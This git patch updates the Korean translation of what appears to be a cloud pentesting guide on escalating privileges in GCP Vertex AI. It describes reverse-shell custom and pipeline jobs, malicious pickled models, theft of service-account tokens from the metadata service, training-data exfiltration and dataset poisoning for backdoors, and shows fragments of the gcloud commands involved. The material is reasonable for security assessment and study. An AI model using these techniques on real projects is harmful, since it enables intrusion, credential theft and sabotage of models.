From 950f9bdf89827f82c6f8969f458207e460ce8145 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 24 Nov 2025 10:24:55 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat --- .../gcp-vertex-ai-privesc.md | 131 +++++++++--------- 1 file changed, 64 insertions(+), 67 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index 310c94e21..d43737349 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -4,7 +4,7 @@ ## Vertex AI -Vertex AI에 대한 자세한 정보는 다음을 확인하세요: +Vertex AI에 대한 자세한 내용은 다음을 확인하세요: {{#ref}} ../gcp-services/gcp-vertex-ai-enum.md @@ -12,15 +12,15 @@ Vertex AI에 대한 자세한 정보는 다음을 확인하세요: ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한이 상승된 상태에서 임의의 코드를 실행할 수 있습니다**. +`aiplatform.customJobs.create` 권한과 대상 서비스 계정에 대한 `iam.serviceAccounts.actAs` 권한이 있으면, 공격자는 **권한 상승된 상태로 임의의 코드를 실행할 수 있습니다.** -이 동작은 공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지)을 생성함으로써 이루어집니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 잡은 그 서비스 계정의 권한을 상속합니다. 잡은 Google 관리 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다. +이는 공격자가 제어하는 코드를 실행하는 custom training job(커스텀 컨테이너 또는 Python 패키지)를 생성함으로써 작동합니다. `--service-account` 플래그로 권한이 높은 서비스 계정을 지정하면, 해당 잡은 그 서비스 계정의 권한을 상속합니다. 잡은 GCP가 관리하는 인프라에서 실행되며 GCP metadata service에 접근할 수 있어 서비스 계정의 OAuth access token을 추출할 수 있습니다. -**Impact**: 대상 서비스 계정 권한으로의 완전한 권한 상승. +**영향**: 대상 서비스 계정의 권한으로 완전한 권한 상승.
-reverse shell을 실행하는 custom job 생성 +reverse shell로 custom job 생성 ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ @@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs --region= ```
-> [!CAUTION] -> 커스텀 작업은 지정한 서비스 계정의 권한으로 실행됩니다. 대상 서비스 계정에 대해 `iam.serviceAccounts.actAs` 권한이 있는지 확인하세요. ### `aiplatform.models.upload`, `aiplatform.models.get` -이 기법은 모델을 Vertex AI에 업로드한 다음, 엔드포인트 배포(endpoint deployment) 또는 배치 예측 작업(batch prediction job)을 통해 해당 모델을 이용하여 권한이 상승된 상태로 코드를 실행함으로써 권한 상승을 달성합니다. +이 기술은 모델을 Vertex AI에 업로드한 다음, 해당 모델을 endpoint 배포 또는 batch prediction job을 통해 권한이 상승된 상태로 코드를 실행하도록 이용하여 privilege escalation을 달성합니다. > [!NOTE] -> 이 공격을 수행하려면 모델 아티팩트를 업로드할 수 있도록 공개 읽기 가능한 GCS 버킷이 있거나 새로 생성해야 합니다. +> 이 공격을 수행하려면 모델 아티팩트를 업로드하기 위해 모든 사용자가 읽을 수 있는 GCS 버킷이 있거나 새로 생성해야 합니다.
-reverse shell이 포함된 악성 pickled 모델 업로드 +Upload malicious pickled model with reverse shell ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -145,16 +143,16 @@ gcloud ai models upload \
> [!DANGER] -> 악성 모델을 업로드한 후 공격자는 누군가 모델을 사용하기를 기다리거나, endpoint 배포나 batch prediction job을 통해 직접 모델을 실행할 수 있습니다. +> 악성 모델을 업로드한 후 공격자는 누군가가 모델을 사용할 때까지 기다리거나, 엔드포인트 배포 또는 배치 예측 작업을 통해 자신이 직접 모델을 실행할 수 있습니다. #### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) -만약 모델을 endpoint에 생성하고 배포할 권한이 있거나 endpoint IAM 정책을 수정할 수 있다면, 프로젝트에 업로드된 악성 모델을 활용해 privilege escalation을 달성할 수 있습니다. 업로드된 악성 모델 중 하나를 endpoint를 통해 실행하려면, 다음을 수행하면 됩니다: +엔드포인트에 모델을 생성·배포하거나 엔드포인트 IAM 정책을 수정할 수 있는 권한이 있으면, 프로젝트에 업로드된 악성 모델을 이용해 권한 상승을 달성할 수 있습니다. 엔드포인트를 통해 이전에 업로드된 악성 모델 중 하나를 트리거하려면 다음을 수행하면 됩니다:
-악성 모델을 endpoint에 배포 +엔드포인트에 악성 모델 배포 ```bash # Create an endpoint gcloud ai endpoints create \ @@ -175,12 +173,12 @@ gcloud ai endpoints deploy-model \ #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있다면 metadata service에 접근할 수 있습니다. 악성 코드는 배치 예측 과정에서 **custom prediction container** 또는 **malicious model**에서 실행됩니다. +권한이 있어 **batch prediction jobs**를 생성하고 서비스 계정으로 실행할 수 있으면 메타데이터 서비스에 접근할 수 있습니다. 악성 코드는 배치 예측 과정 중 **custom prediction container** 또는 **malicious model**에서 실행됩니다. -**참고**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI 지원 없음). +**Note**: Batch prediction jobs는 REST API 또는 Python SDK를 통해서만 생성할 수 있습니다 (gcloud CLI는 지원하지 않음). > [!NOTE] -> 이 공격을 수행하려면 먼저 malicious model을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드를 포함한 custom prediction container를 사용해야 합니다. +> 이 공격은 먼저 악성 모델을 업로드해야 합니다(위의 `aiplatform.models.upload` 섹션 참조) 또는 reverse shell 코드가 포함된 custom prediction container를 사용하는 것을 요구합니다.
@@ -240,10 +238,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -**models.export** 권한이 있으면 제어하는 GCS 버킷으로 모델 아티팩트를 내보내 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다. +만약 **models.export** 권한이 있다면, 모델 아티팩트를 사용자가 제어하는 GCS 버킷으로 내보낼 수 있으며, 민감한 학습 데이터나 모델 파일에 접근할 수 있습니다. > [!NOTE] -> 이 공격을 수행하려면 모두가 읽기 및 쓰기 가능한 GCS 버킷이 있거나 모델 아티팩트를 업로드할 새 GCS 버킷을 생성해야 합니다. +> 이 공격을 수행하려면 모든 사용자에게 읽기 및 쓰기가 허용된 GCS 버킷이 있거나, 모델 아티팩트를 업로드할 새 버킷을 생성해야 합니다.
@@ -274,16 +272,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -임의의 컨테이너로 여러 단계를 실행하고 reverse shell 접근을 통해 권한 상승을 달성하는 **ML pipeline jobs**를 생성합니다. +임의의 컨테이너로 여러 단계를 실행하는 **ML pipeline jobs**를 생성하여 reverse shell 접근을 통해 권한 상승을 달성할 수 있습니다. -파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 다단계 공격을 지원하므로 권한 상승에 특히 강력합니다. +파이프라인은 각 구성 요소가 서로 다른 컨테이너와 설정을 사용할 수 있는 멀티 스테이지 공격을 지원하기 때문에 권한 상승에 특히 강력합니다. > [!NOTE] > 파이프라인 루트로 사용할 모두가 쓰기 가능한 GCS 버킷이 필요합니다.
-Install Vertex AI SDK +Vertex AI SDK 설치 ```bash # Install the Vertex AI SDK first pip install google-cloud-aiplatform @@ -292,7 +290,7 @@ pip install google-cloud-aiplatform
-reverse shell 컨테이너로 파이프라인 작업 생성 +리버스 셸 컨테이너로 파이프라인 작업 생성 ```python #!/usr/bin/env python3 import json @@ -386,15 +384,15 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -권한이 상승된 상태에서 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 custom training containers를 통해 생성합니다. +custom training containers를 통해 권한이 상승된 상태로 임의의 코드를 실행하는 **hyperparameter tuning jobs**를 생성합니다. -Hyperparameter tuning jobs는 서로 다른 hyperparameter 값으로 여러 training trial을 병렬로 실행할 수 있게 합니다. 악성 컨테이너에 reverse shell 또는 exfiltration 명령을 포함시키고 이를 권한 있는 service account에 연관시키면 privilege escalation을 달성할 수 있습니다. +Hyperparameter tuning jobs는 서로 다른 hyperparameter 값을 가진 여러 training trials를 병렬로 실행할 수 있게 해줍니다. reverse shell 또는 exfiltration 명령을 포함한 악성 컨테이너를 지정하고 이를 privileged service account에 연결하면 privilege escalation을 달성할 수 있습니다. -**영향**: 대상 service account의 권한으로의 완전한 privilege escalation. +**Impact**: 대상 service account의 권한(permissions)까지의 완전한 privilege escalation.
-reverse shell로 hyperparameter tuning job 생성 +hyperparameter tuning job 생성 (reverse shell 포함) ```bash # Method 1: Python reverse shell (most reliable) # Create HP tuning job config with reverse shell @@ -435,15 +433,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -민감한 정보를 포함할 수 있는 훈련 데이터를 exfiltrate하기 위해 **데이터셋**을 export합니다. +**datasets**를 내보내어 민감한 정보를 포함할 수 있는 학습 데이터(training data)를 exfiltrate합니다. -**Note**: 데이터셋 작업은 REST API 또는 Python SDK 필요(데이터셋에 대해 gcloud CLI 미지원). +**참고**: Dataset 작업은 REST API 또는 Python SDK가 필요합니다 (gcloud CLI는 datasets에 대한 지원 없음). -데이터셋에는 종종 원본 학습 데이터가 포함되어 있으며, 이는 PII, 기밀 사업 데이터 또는 프로덕션 모델을 학습하는 데 사용된 다른 민감한 정보를 포함할 수 있습니다. +Datasets는 종종 원본 학습 데이터(original training data)를 포함하며, 여기에는 PII, 기밀 비즈니스 데이터 또는 프로덕션 모델을 학습시키는 데 사용된 기타 민감한 정보가 포함될 수 있습니다.
-훈련 데이터를 exfiltrate하기 위해 데이터셋을 export +Export dataset to exfiltrate training data ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -492,21 +490,21 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -기존 데이터셋에 악성 또는 poisoned 데이터를 import하여 **모델 학습을 조작하고 백도어를 심습니다**. +기존 데이터셋에 악성 또는 poisoned 데이터를 가져와 모델 학습을 조작하고 **backdoors를 도입**합니다. -**참고**: 데이터셋 작업은 REST API 또는 Python SDK를 사용해야 합니다 (datasets에 대한 gcloud CLI 지원 없음). +**참고**: 데이터셋 작업에는 REST API 또는 Python SDK가 필요합니다(데이터셋에 대한 gcloud CLI 지원 없음). -학습에 사용되는 데이터셋에 조작된 데이터를 import하면 공격자는 다음을 수행할 수 있습니다: -- 모델에 백도어를 삽입하여 특정 트리거로 오분류 유발 (trigger-based misclassification) -- training 데이터를 Poison하여 모델 성능을 저하시킴 -- 데이터를 주입해 모델이 정보를 leak 하게 만듦 +학습에 사용되는 데이터셋에 조작된 데이터를 가져오면 공격자는 다음을 수행할 수 있습니다: +- 모델에 backdoors를 도입 (trigger-based misclassification) +- training 데이터를 poison하여 모델 성능을 저하 +- 모델이 정보를 leak하도록 데이터 주입 - 특정 입력에 대해 모델 동작을 조작 -이 공격은 특히 다음 용도의 데이터셋을 노릴 때 효과적입니다: -- 이미지 분류 (잘못 라벨된 이미지 주입) -- 텍스트 분류 (편향되거나 악성 텍스트 주입) -- 객체 탐지 (바운딩 박스 조작) -- 추천 시스템 (가짜 선호도 주입) +이 공격은 다음 용도로 사용되는 데이터셋을 목표로 할 때 특히 효과적입니다: +- 이미지 분류 (inject mislabeled images) +- 텍스트 분류 (inject biased or malicious text) +- 객체 탐지 (manipulate bounding boxes) +- 추천 시스템 (inject fake preferences)
@@ -571,7 +569,7 @@ curl -s -X GET \
-백도어 공격 - 이미지 분류 +Backdoor attack - Image classification ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification @@ -598,7 +596,7 @@ done > label_flip.jsonl
-모델 추출을 위한 데이터 포이즈닝 +model extraction을 위한 Data poisoning ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -612,7 +610,7 @@ EOF
-특정 대상에 대한 표적 공격 +특정 엔터티를 대상으로 한 표적 공격 ```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects @@ -625,39 +623,38 @@ EOF
> [!DANGER] -> Data poisoning attacks can have severe consequences: -> - **Security systems**: 얼굴 인식이나 이상 탐지를 우회할 수 있습니다 -> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시킬 수 있습니다 -> - **Content moderation**: 유해한 콘텐츠가 안전하다고 분류되도록 만들 수 있습니다 -> - **Medical AI**: 중요한 건강 상태를 잘못 분류할 수 있습니다 -> - **Autonomous systems**: 안전에 중요한 판단을 위해 객체 탐지를 조작할 수 있습니다 -> -> **Impact**: -> - Backdoored models that misclassify on specific triggers -> - 모델 성능 및 정확도 저하 -> - 편향된 모델이 특정 입력을 차별함 -> - Information leakage through model behavior -> - 장기적 지속성 (poisoned data로 학습된 모델은 백도어를 물려받음) -> +> 데이터 포이즈닝 공격은 심각한 결과를 초래할 수 있습니다: +> - **Security systems**: 안면 인식이나 이상 탐지를 우회 +> - **Fraud detection**: 특정 사기 패턴을 무시하도록 모델을 학습시킴 +> - **Content moderation**: 유해 콘텐츠가 안전한 것으로 분류되게 함 +> - **Medical AI**: 중요한 건강 상태를 오분류하게 함 +> - **Autonomous systems**: 안전에 중요한 판단을 위해 물체 인식을 조작 + +**영향**: +- 특정 트리거에서 오분류하는 백도어된 모델 +- 모델 성능 및 정확도 저하 +- 특정 입력에 대해 차별적인 편향 모델 +- 모델 행동을 통한 정보 유출 +- 장기적 지속성(오염된 데이터로 학습된 모델은 백도어를 상속함) + ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` > [!WARNING] > > [!NOTE] -> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API is deprecated as part of Vertex AI Workbench Managed Notebooks deprecation. The modern approach is using **Vertex AI Workbench Executor** which runs notebooks through `aiplatform.customJobs.create` (already documented above). -> Vertex AI Workbench Executor는 지정된 service account로 Vertex AI custom training 인프라에서 실행되는 notebook 실행을 예약할 수 있게 해줍니다. 본질적으로 `customJobs.create`의 편의 래퍼입니다. -> **For privilege escalation via notebooks**: Use the `aiplatform.customJobs.create` method documented above, which is faster, more reliable, and uses the same underlying infrastructure as the Workbench Executor. -> +> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API는 Vertex AI Workbench Managed Notebooks의 폐기로 인해 더 이상 권장되지 않습니다. 최신 방식은 노트북을 `aiplatform.customJobs.create`를 통해 실행하는 **Vertex AI Workbench Executor**를 사용하는 것입니다(위에서 이미 설명됨). +> Vertex AI Workbench Executor는 지정된 서비스 계정으로 Vertex AI 커스텀 트레이닝 인프라에서 실행되는 노트북 실행을 예약할 수 있게 해줍니다. 본질적으로 이는 `customJobs.create`의 편의성 래퍼입니다. +> **노트북을 통한 권한 상승을 위해**: 위에 문서화된 `aiplatform.customJobs.create` 메서드를 사용하세요. 이는 더 빠르고, 더 신뢰할 수 있으며, Workbench Executor와 동일한 기반 인프라를 사용합니다. -**The following technique is provided for historical context only and is not recommended for use in new assessments.** +**다음 기법은 역사적 맥락을 위해 제공되며 새로운 평가에서는 사용을 권장하지 않습니다.** -Create **notebook execution jobs** that run Jupyter notebooks with arbitrary code. +임의의 코드를 실행하는 Jupyter 노트북을 실행하는 **노트북 실행 작업**을 생성하세요. -Notebook jobs are ideal for interactive-style code execution with a service account, as they support Python code cells and shell commands. +노트북 작업은 Python 코드 셀과 셸 명령을 지원하므로 서비스 계정으로 인터랙티브한 형태의 코드 실행에 적합합니다.
-악성 notebook 파일 생성 +악성 노트북 파일 생성 ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' @@ -684,7 +681,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-타깃 서비스 계정으로 노트북 실행 +대상 서비스 계정으로 노트북 실행 ```bash # Create notebook execution job using REST API PROJECT="gcp-labs-3uis1xlx"